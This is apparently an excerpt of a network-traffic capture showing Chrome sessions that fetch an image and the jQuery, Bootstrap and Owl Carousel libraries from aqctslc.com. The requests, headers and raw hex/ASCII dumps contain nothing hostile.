2025-01-09 23:51:37 UTC	1369	IN	Data Raw: d5 e6 57 88 5a ea 56 03 f8 8d 74 d6 fa e5 f4 d2 04 79 03 0c 57 3b 23 f9 77 32 07 eb b8 d2 85 37 02 6b d4 53 b1 6a e9 b7 6d 41 9d be d5 57 c9 cf 4c 83 56 65 c2 be 48 cd 40 d3 b0 ce 12 b6 b9 c8 34 44 c3 b8 fc 69 08 75 eb b3 6d 35 a6 2f d5 1b f0 a6 81 93 c4 72 1f f8 15 00 6e e9 ba c7 d8 b4 6d 43 4d 8a 18 9c 5f 98 c4 8e e4 92 81 4e 7e 5f c7 15 d8 e8 d7 56 7e 19 f0 c5 8c 97 91 b6 fd 4a e7 1f 2f 50 98 e0 fe 1c 7e 75 e7 11 e1 4f 30 3f fd f5 9a d8 b0 bc 97 52 d6 74 58 2f 6e 49 b6 b5 99 42 2c 9c 6c 52 c0 9f e4 2a 66 ae 8d 69 49 a9 a6 8f 5c 12 49 1b 95 52 30 17 2a 4d 56 d4 34 cb 0f 11 c0 b6 ba 94 01 8b 21 29 32 70 f1 9f 50 7f a5 73 b6 17 c2 f3 e2 0e ad b2 60 d0 45 12 46 85 5b 2b c6 33 8f c7 35 9f e2 1d 5e ee cf 4a d2 35 7b 67 31 ce b2 63 19 e1 94 8c 90 7d b8 ae 24 Data Ascii: WZVtyW;#w27kSjmAWLVeH@4Dium5/rnmCM_N~_V~J/P~uO0?RtX/nIB,lRfiI\IR0MV4!)2pPs`EF[+35^J5{g1c}$
2025-01-09 23:51:37 UTC	944	IN	Data Raw: c1 6f 40 5b d0 71 9f c6 a2 cf 9e fd 0e d8 54 a7 1c 3b 8f da 6f f0 38 bd 3a 68 bc 27 ab ea 71 dc c2 f3 48 a1 a1 22 23 fc 4a d8 cf 3d aa 3d 7e f2 d2 fb 46 d2 2c ed 67 59 59 13 7c 8a bf c0 76 81 83 ef d6 a9 69 ad 7b a8 eb 51 1b 78 9e ea ea 49 43 ec c6 4b 9c e4 e6 bb 1f 88 de 06 1e 1d bb fe dc d3 20 c6 9d 72 7f 7b 1a f4 81 cf fe ca 7b 7a 1e 3d 29 4a 9a 72 e6 32 8d 79 28 72 74 3c e0 48 d1 3f 96 46 31 d2 a1 b8 8e 49 65 01 46 49 ed 53 87 17 17 e8 31 82 78 ad 18 62 f2 35 16 f3 40 c0 1c 52 9c 9c 55 ec 25 69 7b b7 22 8b 4f 55 b2 f9 87 ce 45 65 cb 65 71 19 2c 54 95 f6 ad cb 89 f1 36 01 e2 a5 12 f9 91 6c 61 d6 ab 9d b4 98 72 23 9e 8e 6d b2 27 15 66 4b 91 1b 72 2a fc fa 59 5d af 1c 25 b2 7b 0a 8f 50 b1 94 40 09 81 c7 fc 06 9a 6c 4d 58 b1 62 1a 66 8a 75 38 28 c1 80 3d Data Ascii: o@[qT;o8:h'qH"#J==~F,gYY\|vi{QxICK r{{z=)Jr2y(rt<H?F1IeFIS1xb5@RU%i{"OUEeeq,T6lar#m'fKr*Y]%{P@lMXbfu8(=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49762	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	605	OUT	GET /themes/static/image/services-icon1.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:36 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:36 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:36 UTC	10091	IN	Data Raw: 32 37 35 65 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 275ePNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49769	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	537	OUT	GET /themes/static/js/jquery.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:36 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:37 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 Data Ascii: ffa8/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 64 26 26 61 3d 3d 3d 65 29 7b 69 5b 68 5d 3d 5b 6b 2c 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 Data Ascii: .lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b 73 5d 2c 6e 2c 61 3f 72 3a 72 2e 63 61 6c 6c 28 65 5b 73 5d 2c 73 2c 74 28 65 5b 73 5d 2c 6e 29 29 29 3b 72 65 74 75 72 6e 20 69 3f 65 3a 6c 3f 74 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 5f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 Data Ascii: return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){ret
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2c 66 3d 69 65 28 65 29 3b 69 66 28 21 28 79 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 7c 7c 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 26 26 70 65 2e 74 65 73 74 28 73 2e 74 Data Ascii: e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked\|\|1!==e.nodeType&&11!==e.nodeType\|\|S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.t
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 72 74 2e 76 61 6c 75 65 3b 76 61 72 20 70 74 2c 64 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 24 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 0d 0a 35 64 64 63 0d 0a 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 6d 6f 76 65 41 74 74 72 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 53 2e Data Ascii: nput")).value="t",rt.type="radio",y.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.len5ddcgth)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.
2025-01-09 23:51:37 UTC	7821	IN	Data Raw: 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 7a 74 2c 79 2e 61 6a 61 78 3d 7a 74 3d 21 21 7a 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 79 2e 63 6f 72 73 7c 7c 7a 74 26 26 21 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 72 65 74 75 72 6e 7b 73 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 Data Ascii: },zt=S.ajaxSettings.xhr();y.cors=!!zt&&"withCredentials"in zt,y.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(y.cors\|\|zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49764	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	547	OUT	GET /themes/static/js/bootstrap.bundle.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:37 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 21 0d 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 30 2e 30 2d 62 65 74 61 31 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0d 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0d 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 20 2a 2f 0d 0a 20 Data Ascii: ffa8/! Bootstrap v5.0.0-beta1 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 2c 73 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 2c 69 2c 6e 29 2c 72 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 48 2e 74 72 69 67 67 65 72 28 72 2e 5f 65 6c 65 6d 65 6e 74 2c 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 6c 2c 64 69 72 65 63 74 69 6f 6e 3a 6f 2c 66 72 6f 6d 3a 61 2c 74 6f 3a 63 7d 29 7d 29 2c 30 29 7d 29 29 2c 68 28 73 2c 64 29 7d 65 6c 73 65 20 73 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 61 63 74 69 76 65 22 29 2c 6c 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 61 63 74 69 76 65 22 29 2c 74 68 69 73 2e 5f 69 73 53 6c Data Ascii: .add("active"),s.classList.remove("active",i,n),r._isSliding=!1,setTimeout((function(){H.trigger(r._element,"slid.bs.carousel",{relatedTarget:l,direction:o,from:a,to:c})}),0)})),h(s,d)}else s.classList.remove("active"),l.classList.add("active"),this._isSl
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 6f 6d 3a 6b 2e 62 6f 74 74 6f 6d 2d 79 2e 62 6f 74 74 6f 6d 2b 67 2e 62 6f 74 74 6f 6d 2c 6c 65 66 74 3a 79 2e 6c 65 66 74 2d 6b 2e 6c 65 66 74 2b 67 2e 6c 65 66 74 2c 72 69 67 68 74 3a 6b 2e 72 69 67 68 74 2d 79 2e 72 69 67 68 74 2b 67 2e 72 69 67 68 74 7d 2c 4c 3d 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 6f 66 66 73 65 74 3b 69 66 28 22 70 6f 70 70 65 72 22 3d 3d 3d 75 26 26 4c 29 7b 76 61 72 20 41 3d 4c 5b 6f 5d 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 4f 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 5b 72 74 2c 6f 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 31 3a 2d 31 2c 6e 3d 5b 69 74 2c 6f 74 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 3f 22 79 22 3a 22 78 22 3b 4f 5b 74 5d 2b 3d 41 5b 6e 5d 2a Data Ascii: om:k.bottom-y.bottom+g.bottom,left:y.left-k.left+g.left,right:k.right-y.right+g.right},L=t.modifiersData.offset;if("popper"===u&&L){var A=L[o];Object.keys(O).forEach((function(t){var e=[rt,ot].indexOf(t)>=0?1:-1,n=[it,ot].indexOf(t)>=0?"y":"x";O[t]+=A[n]*
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 75 73 65 64 6f 77 6e 2e 64 69 73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 48 2e 6f 6e 65 28 65 2e 5f 65 6c 65 6d 65 6e 74 2c 22 6d 6f 75 73 65 75 70 2e 64 69 73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 61 72 67 65 74 3d 3d 3d 65 2e 5f 65 6c 65 6d 65 6e 74 26 26 28 65 2e 5f 69 67 6e 6f 72 65 42 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3d 21 30 29 7d 29 29 7d 29 29 2c 74 68 69 73 2e 5f 73 68 6f 77 42 61 63 6b 64 72 6f 70 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 5f 73 68 6f 77 45 6c 65 6d 65 6e 74 28 74 29 7d 29 29 29 7d 7d 2c 72 2e 68 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 28 74 26 26 74 2e 70 72 Data Ascii: usedown.dismiss.bs.modal",(function(){H.one(e._element,"mouseup.dismiss.bs.modal",(function(t){t.target===e._element&&(e._ignoreBackdropClick=!0)}))})),this._showBackdrop((function(){return e._showElement(t)})))}},r.hide=function(t){var e=this;if((t&&t.pr
2025-01-09 23:51:37 UTC	15509	IN	Data Raw: 75 6d 65 6e 74 2e 62 6f 64 79 3a 64 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 29 3f 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 3a 71 2e 66 69 6e 64 4f 6e 65 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 6e 74 61 69 6e 65 72 29 7d 2c 72 2e 5f 67 65 74 41 74 74 61 63 68 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4d 65 5b 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 5d 7d 2c 72 2e 5f 73 65 74 4c 69 73 74 65 6e 65 0d 0a 33 62 65 34 0d 0a 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 63 6f 6e 66 69 67 2e 74 72 69 67 67 65 72 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 63 6c 69 63 Data Ascii: ument.body:d(this.config.container)?this.config.container:q.findOne(this.config.container)},r._getAttachment=function(t){return Me[t.toUpperCase()]},r._setListene3be4rs=function(){var t=this;this.config.trigger.split(" ").forEach((function(e){if("clic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49765	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	543	OUT	GET /themes/static/js/owl.carousel.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:37 UTC	16140	IN	Data Raw: 61 64 33 63 0d 0a 2f 2a 2a 0d 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0d 0a 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 62 2c 63 29 7b 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 7b Data Ascii: ad3c/** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE */!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({
2025-01-09 23:51:37 UTC	16384	IN	Data Raw: 69 64 74 68 3f 64 3d 62 2e 69 6e 6e 65 72 57 69 64 74 68 3a 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3f 64 3d 63 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 3a 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 43 61 6e 20 6e 6f 74 20 64 65 74 65 63 74 20 76 69 65 77 70 6f 72 74 20 77 69 64 74 68 2e 22 29 2c 64 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 70 6c 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 74 68 69 73 2e 24 73 74 61 67 65 2e 65 6d 70 74 79 28 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 3d 5b 5d 2c 62 26 26 28 62 3d 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 3f 62 3a 61 28 62 29 29 2c 74 68 69 Data Ascii: idth?d=b.innerWidth:c.documentElement&&c.documentElement.clientWidth?d=c.documentElement.clientWidth:console.warn("Can not detect viewport width."),d},e.prototype.replace=function(b){this.$stage.empty(),this._items=[],b&&(b=b instanceof jQuery?b:a(b)),thi
